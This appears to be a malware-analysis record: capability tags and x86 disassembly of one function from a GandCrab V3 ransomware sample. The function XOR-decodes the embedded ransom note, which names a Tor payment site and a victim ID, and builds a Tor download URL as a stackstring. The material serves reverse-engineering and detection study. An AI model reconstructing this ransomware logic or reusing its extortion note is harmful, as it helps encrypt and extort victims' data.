Function at 0x10004b40
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x118
cmp dword [0x10013d10], 0
push esi
push edi
jne 0x10004ec0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0xe8]
call fcn.10004460
lea ecx, [esp + 0x90]
call fcn.100080e0
lea ecx, [esp + 0x90]
call fcn.10007ef0
mov esi, eax
push 0x40
push 0x3000
lea edi, [esi*2 + 0x42]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x84], eax
test eax, eax
je 0x10004bd1
lea ecx, [esi*2 + 0x40]
cmp ecx, edi
jae 0x10004bd1
mov edi, eax
jmp 0x10004bd3
xor edi, edi
push edi
lea ecx, [esp + 0x94]
call fcn.10007cf0
movzx eax, word [edi]
test ax, ax
je 0x10004c2e
mov esi, edi
sub esi, str.ransom_id
mov edx, str.ransom_id
test ax, ax
je 0x10004c1f
lea ebx, [ebx]
movzx eax, word [edx]
test ax, ax
je 0x10004c30
movzx ecx, word [esi + edx]
sub ecx, eax
jne 0x10004c19
add edx, 2
cmp word [esi + edx], cx
jne 0x10004c00
cmp word [edx], 0
je 0x10004c30
movzx eax, word [edi + 2]
add edi, 2
add esi, 2
test ax, ax
jne 0x10004bf0
xor edi, edi
push str.ransom_id
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movdqa xmm1, xmmword [0x10011710]
mov ecx, str.____GANDCRAB_V3_______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.CRAB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_n_r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n0._Download_Tor_browser___https:__www.torproject.org___r_r_n1._Install_Tor_browser__r_r_n2._Open_Tor_Browser__r_r_n3._Open_link_in_TOR_browser:_http:__gandcrab2pie73et.onion_8e1511be8e330798_________________________r_r_n4._Follow_the_instructions_on_this_page__r_r_n_________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nThe_alternative_way_to_contact_us_is_to_use_Jabber_messanger._Read_how_to:_r_n0._Download_Psi_Plus_Jabber_Client:_https:__psi_im.org_download__r_n1._Register_new_account:_http:__sj.ms_register.php_r_n____0__Enter__username_:_8e1511be8e330798_________________________r_n____1__Enter__password_:_your_password_r_n2._Add_new_account_in_Psi_r_n3._Add_and_write_Jabber_ID:_ransomware_sj.ms_any_message_r_n4._Follow_instruction_bot__r_n_r_n_r_nATTENTION__r_nIt_is_a_bot__Its_fully_automated_artificial_system_without_human_control__r_nTo_contact_us_use_TOR_links._We_can_provide_you_all_required_proofs_of_decryption_availibility_anytime._We_are_open_to_conversations._r_nYou_can_read_instructions_how_to_install_and_use_jabber_here_http:__www.sfu.ca_jabber_Psi_Jabber_PC.pdf__r_n_r_nCAUGHTION___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key._This_will_result_in_the_loss_of_your_data_forever_
mov edx, 0xcc
lea eax, [edi + eax*2]
mov dword [esp + 0x8c], eax
mov eax, 0xcc0
lea esp, [esp]
lea ecx, [ecx + 0x10]
movdqu xmm0, xmmword [ecx - 0x10]
pxor xmm0, xmm1
movdqu xmmword [ecx - 0x10], xmm0
dec edx
jne 0x10004c60
jmp 0x10004c80
xor byte [eax + str.____GANDCRAB_V3_______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.CRAB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_n_r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n0._Download_Tor_browser___https:__www.torproject.org___r_r_n1._Install_Tor_browser__r_r_n2._Open_Tor_Browser__r_r_n3._Open_link_in_TOR_browser:_http:__gandcrab2pie73et.onion_8e1511be8e330798_________________________r_r_n4._Follow_the_instructions_on_this_page__r_r_n_________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nThe_alternative_way_to_contact_us_is_to_use_Jabber_messanger._Read_how_to:_r_n0._Download_Psi_Plus_Jabber_Client:_https:__psi_im.org_download__r_n1._Register_new_account:_http:__sj.ms_register.php_r_n____0__Enter__username_:_8e1511be8e330798_________________________r_n____1__Enter__password_:_your_password_r_n2._Add_new_account_in_Psi_r_n3._Add_and_write_Jabber_ID:_ransomware_sj.ms_any_message_r_n4._Follow_instruction_bot__r_n_r_n_r_nATTENTION__r_nIt_is_a_bot__Its_fully_automated_artificial_system_without_human_control__r_nTo_contact_us_use_TOR_links._We_can_provide_you_all_required_proofs_of_decryption_availibility_anytime._We_are_open_to_conversations._r_nYou_can_read_instructions_how_to_install_and_use_jabber_here_http:__www.sfu.ca_jabber_Psi_Jabber_PC.pdf__r_n_r_nCAUGHTION___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key._This_will_result_in_the_loss_of_your_data_forever_], 5
inc eax
cmp eax, 0xcce
jb 0x10004c80
mov ax, word [str.____GANDCRAB_V3_______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.CRAB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_n_r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n0._Download_Tor_browser___https:__www.torproject.org___r_r_n1._Install_Tor_browser__r_r_n2._Open_Tor_Browser__r_r_n3._Open_link_in_TOR_browser:_http:__gandcrab2pie73et.onion_8e1511be8e330798_________________________r_r_n4._Follow_the_instructions_on_this_page__r_r_n_________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nThe_alternative_way_to_contact_us_is_to_use_Jabber_messanger._Read_how_to:_r_n0._Download_Psi_Plus_Jabber_Client:_https:__psi_im.org_download__r_n1._Register_new_account:_http:__sj.ms_register.php_r_n____0__Enter__username_:_8e1511be8e330798_________________________r_n____1__Enter__password_:_your_password_r_n2._Add_new_account_in_Psi_r_n3._Add_and_write_Jabber_ID:_ransomware_sj.ms_any_message_r_n4._Follow_instruction_bot__r_n_r_n_r_nATTENTION__r_nIt_is_a_bot__Its_fully_automated_artificial_system_without_human_control__r_nTo_contact_us_use_TOR_links._We_can_provide_you_all_required_proofs_of_decryption_availibility_anytime._We_are_open_to_conversations._r_nYou_can_read_instructions_how_to_install_and_use_jabber_here_http:__www.sfu.ca_jabber_Psi_Jabber_PC.pdf__r_n_r_nCAUGHTION___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key._This_will_result_in_the_loss_of_your_data_forever_]
mov edi, str.____GANDCRAB_V3_______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.CRAB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_n_r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n0._Download_Tor_browser___https:__www.torproject.org___r_r_n1._Install_Tor_browser__r_r_n2._Open_Tor_Browser__r_r_n3._Open_link_in_TOR_browser:_http:__gandcrab2pie73et.onion_8e1511be8e330798_________________________r_r_n4._Follow_the_instructions_on_this_page__r_r_n_________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nThe_alternative_way_to_contact_us_is_to_use_Jabber_messanger._Read_how_to:_r_n0._Download_Psi_Plus_Jabber_Client:_https:__psi_im.org_download__r_n1._Register_new_account:_http:__sj.ms_register.php_r_n____0__Enter__username_:_8e1511be8e330798_________________________r_n____1__Enter__password_:_your_password_r_n2._Add_new_account_in_Psi_r_n3._Add_and_write_Jabber_ID:_ransomware_sj.ms_any_message_r_n4._Follow_instruction_bot__r_n_r_n_r_nATTENTION__r_nIt_is_a_bot__Its_fully_automated_artificial_system_without_human_control__r_nTo_contact_us_use_TOR_links._We_can_provide_you_all_required_proofs_of_decryption_availibility_anytime._We_are_open_to_conversations._r_nYou_can_read_instructions_how_to_install_and_use_jabber_here_http:__www.sfu.ca_jabber_Psi_Jabber_PC.pdf__r_n_r_nCAUGHTION___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key._This_will_result_in_the_loss_of_your_data_forever_
mov dword [0x10013d10], 0x10013000
test ax, ax
je 0x10004d7e
mov ecx, edi
movzx eax, ax
sub ecx, str.USERID
mov dword [esp + 0x88], ecx
mov esi, ecx
mov edx, str.USERID
test ax, ax
je 0x10004cef
jmp 0x10004cd0
movzx eax, word [edx]
test ax, ax
je 0x10004d03
movzx ecx, word [esi + edx]
sub ecx, eax
jne 0x10004ce9
add edx, 2
cmp word [esi + edx], cx
jne 0x10004cd0
cmp word [edx], 0
je 0x10004d03
movzx eax, word [edi + 2]
add edi, 2
add esi, 2
test ax, ax
jne 0x10004cc1
jmp 0x10004d7e
push dword [esp + 0x8c]
mov esi, 0x20
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [edi + eax*2], si
mov edi, str.____GANDCRAB_V3_______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.CRAB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_n_r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n0._Download_Tor_browser___https:__www.torproject.org___r_r_n1._Install_Tor_browser__r_r_n2._Open_Tor_Browser__r_r_n3._Open_link_in_TOR_browser:_http:__gandcrab2pie73et.onion_8e1511be8e330798_________________________r_r_n4._Follow_the_instructions_on_this_page__r_r_n_________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nThe_alternative_way_to_contact_us_is_to_use_Jabber_messanger._Read_how_to:_r_n0._Download_Psi_Plus_Jabber_Client:_https:__psi_im.org_download__r_n1._Register_new_account:_http:__sj.ms_register.php_r_n____0__Enter__username_:_8e1511be8e330798_________________________r_n____1__Enter__password_:_your_password_r_n2._Add_new_account_in_Psi_r_n3._Add_and_write_Jabber_ID:_ransomware_sj.ms_any_message_r_n4._Follow_instruction_bot__r_n_r_n_r_nATTENTION__r_nIt_is_a_bot__Its_fully_automated_artificial_system_without_human_control__r_nTo_contact_us_use_TOR_links._We_can_provide_you_all_required_proofs_of_decryption_availibility_anytime._We_are_open_to_conversations._r_nYou_can_read_instructions_how_to_install_and_use_jabber_here_http:__www.sfu.ca_jabber_Psi_Jabber_PC.pdf__r_n_r_nCAUGHTION___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key._This_will_result_in_the_loss_of_your_data_forever_
mov ax, word [str.____GANDCRAB_V3_______r_r_n_r_r_nAttention___r_r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.CRAB__r_r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files.__r_n_r_r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:__r_r_n0._Download_Tor_browser___https:__www.torproject.org___r_r_n1._Install_Tor_browser__r_r_n2._Open_Tor_Browser__r_r_n3._Open_link_in_TOR_browser:_http:__gandcrab2pie73et.onion_8e1511be8e330798_________________________r_r_n4._Follow_the_instructions_on_this_page__r_r_n_________________________r_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free.__r_r_n_r_nThe_alternative_way_to_contact_us_is_to_use_Jabber_messanger._Read_how_to:_r_n0._Download_Psi_Plus_Jabber_Client:_https:__psi_im.org_download__r_n1._Register_new_account:_http:__sj.ms_register.php_r_n____0__Enter__username_:_8e1511be8e330798_________________________r_n____1__Enter__password_:_your_password_r_n2._Add_new_account_in_Psi_r_n3._Add_and_write_Jabber_ID:_ransomware_sj.ms_any_message_r_n4._Follow_instruction_bot__r_n_r_n_r_nATTENTION__r_nIt_is_a_bot__Its_fully_automated_artificial_system_without_human_control__r_nTo_contact_us_use_TOR_links._We_can_provide_you_all_required_proofs_of_decryption_availibility_anytime._We_are_open_to_conversations._r_nYou_can_read_instructions_how_to_install_and_use_jabber_here_http:__www.sfu.ca_jabber_Psi_Jabber_PC.pdf__r_n_r_nCAUGHTION___r_r_nDo_not_try_to_modify_files_or_use_your_own_private_key._This_will_result_in_the_loss_of_your_data_forever_]
test ax, ax
je 0x10004d7e
mov esi, dword [esp + 0x88]
movzx ecx, ax
jmp 0x10004d40
mov eax, str.USERID
test cx, cx
je 0x10004d6f
lea ebx, [ebx]
movzx ecx, word [eax]
test cx, cx
je 0x10004d03
movzx edx, word [esi + eax]
sub edx, ecx
jne 0x10004d69
add eax, 2
cmp word [esi + eax], dx
jne 0x10004d50
cmp word [eax], 0
je 0x10004d03
movzx ecx, word [edi + 2]
add edi, 2
add esi, 2
test cx, cx
jne 0x10004d40
cmp dword [0x10013cd8], 0
mov dword [esp + 8], 0x740068
mov dword [esp + 0xc], 0x700074
mov dword [esp + 0x10], 0x3a0073
mov dword [esp + 0x14], 0x2f002f
mov dword [esp + 0x18], 0x770077
mov dword [esp + 0x1c], 0x2e0077
mov dword [esp + 0x20], 0x6f0074
mov dword [esp + 0x24], 0x700072
mov dword [esp + 0x28], 0x6f0072
mov dword [esp + 0x2c], 0x65006a
mov dword [esp + 0x30], 0x740063
mov dword [esp + 0x34], 0x6f002e
mov dword [esp + 0x38], 0x670072
mov dword [esp + 0x3c], 0x64002f
mov dword [esp + 0x40], 0x77006f
mov dword [esp + 0x44], 0x6c006e
mov dword [esp + 0x48], 0x61006f
mov dword [esp + 0x4c], 0x2f0064
mov dword [esp + 0x50], 0x6f0064
mov dword [esp + 0x54], 0x6e0077
mov dword [esp + 0x58], 0x6f006c
mov dword [esp + 0x5c], 0x640061
mov dword [esp + 0x60], 0x65002d
mov dword [esp + 0x64], 0x730061
mov dword [esp + 0x68], 0x2e0079
mov dword [esp + 0x6c], 0x740068
mov dword [esp + 0x70], 0x6c006d
mov dword [esp + 0x74], 0x65002e
mov dword [esp + 0x78], 0x6e
jne 0x10004ea0
push 4
push 0x3000
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10013cd8], eax
test eax, eax
je 0x10004ea0
lea ecx, [esp + 8]
push ecx
push 0x100104e8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push dword [esp + 0x8c]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea ecx, [esp + 0x90]
call fcn.100089c0
pop edi
pop esi
mov esp, ebp
pop ebp
ret